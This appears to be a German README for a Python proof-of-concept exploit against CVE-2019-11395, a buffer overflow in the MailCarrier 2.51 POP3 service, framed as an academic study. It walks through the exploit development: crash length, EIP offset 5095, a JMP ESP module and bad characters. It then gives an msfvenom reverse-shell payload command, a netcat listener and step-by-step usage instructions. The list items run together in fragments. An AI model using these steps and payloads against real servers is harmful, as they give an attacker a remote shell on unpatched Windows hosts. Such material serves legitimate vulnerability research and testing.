
Python-Exploit für CVE-2019-11395, einen Pufferüberlauf im MailCarrier 2.51 POP3-Dienst. Erzeugt eine Reverse-Shell-Nutzlast über msfvenom und erreicht die Remote-Codeausführung auf Windows-Zielen.
Die Sicherheitslücke CVE-2019-11395 beschreibt eine Pufferüberlauf-Schwachstelle in der MailCarrier 2.51 E-Mail-Anwendung, die eine Remote-Codeausführung ermöglicht. Die Schwachstelle tritt in den Prozessen SMTP RCPT TO, POP3 USER, POP3 LIST, POP3 TOP oder POP3 RETR auf.
Im Rahmen einer akademischen Studie lag der Fokus auf den POP3-Prozessen, um einen Proof of Concept (PoC) zu erstellen. Es wurde festgestellt, dass das Senden von 6000 Bytes an die Anwendung dazu führt, dass sie nicht mehr funktioniert, was die Pufferüberlauf-Schwachstelle offenbart.
msf-pattern_create -l 6000, um das EIP genau zu identifizieren.msf-pattern_offset -q 6E47386E -l 6000, was zu einem EIP-Offset von 5095 führte.expsrv.dll mit deaktiviertem ASLR, geeignet für einen JMP ESP.\x00\x0a\x0d während Tests auf ungültige Zeichen.msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 exitfunc=thread -f python -b "\x00\x0a\x0d" -v shellcode.CVE-2019-11395.py-Code an, um den Payload aufzunehmen.nc -lnvp 4444 und führte den Exploit (CVE-2019-11395.py) aus, um Zugriff auf die Umgebung zu erhalten und die beschriebene CVE zu validieren.Befolgen Sie diese Schritte, um den Exploit zu nutzen:
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 exitfunc=thread -f python -b "\x00\x0a\x0d" -v shellcode.msfvenom-Befehls.CVE-2019-11395.py-Code an, um die Variable shellcode durch die Ausgabe des msfvenom-Befehls zu ersetzen.CVE-2019-11395.py) aus, um Zugriff auf die Umgebung zu erhalten und die beschriebene CVE zu validieren.
Besuche mein Profil auf LinkedIn